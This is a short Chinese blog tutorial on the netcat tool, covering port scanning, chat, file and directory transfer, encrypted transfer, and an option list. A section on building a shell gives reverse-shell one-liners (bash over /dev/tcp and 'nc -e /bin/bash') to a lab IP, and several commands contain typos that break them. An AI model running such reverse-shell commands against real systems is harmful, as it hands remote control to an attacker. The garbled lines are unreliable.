nc工具使用


nc命令:

  1. 端口扫描:

nc -z -v -n 192.168.21.135 1-100

-z参数告诉nc使用0输入/输出模式

-v参数显示指令的执行过程

-n参数告诉nc不实用DNS反向查询ip地址的域名

2. 作为通信使用:

server: nc -l 5555

client: nc 192.168.21.133 5555

i参数使用监听模式,冒控传入的资料

3. 文件传输:

Server: nc -l 5555< a.txt

Client:nc -n 192,.16821.133 >aa.txt

同样可以互换,传输文件

server: nc -l 5555 >aa.txt

Client: nc 192.168.21.133 5555 <aa.txt

4. 目录传输

文件可以发送,但是目录也同样可以传输,利用管道传输起来

server: tar -czvf- faith/ |nc -l 5555

Client:nc -n 192.168.21.133 5555|tar -zxvf -

5. 加密传输

server: nc localhost 1567|mcrypt -flush -bare -F -q -d -m ecb > file.txt

Client: mcrypt -flush -bare -F -q -m ecb < file.txt|nc -l 1567

6. 建立shell

server: nc -lvp 5555 bash -i >& /dev/tcp/192.168.21.136/5555 0 >&1

Client:nc -lvp 5555

还有一种:

Server: nc -e /bin/bash 192.168.21.136 5555

Client: nc -lvp 5555

7. nc其他参数

参数:
-g<网关> 设置路由器跃程通信网关,最多可以设置8-G<指向器数目>设置来源路由指向器,其数值为4的倍数

-h 在线帮助

-i<延迟秒数>设置时间间隔,一边传送信息以及扫描通信端口

-l 使用监听模式,管控传入的资料

-n 直接使用IP地址,而不通过域名服务器

-o<输出文件>指定文件名称,把往来的处暑的额数据16进制字码倾倒成该文件保存

-p<通信端口>设置本地主机使用的端口

-r 乱数指定本地与远端主机的通信端口

-s<来源地址> 设置本地主机送出数据包的地址

-u 使用udp的协议

文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录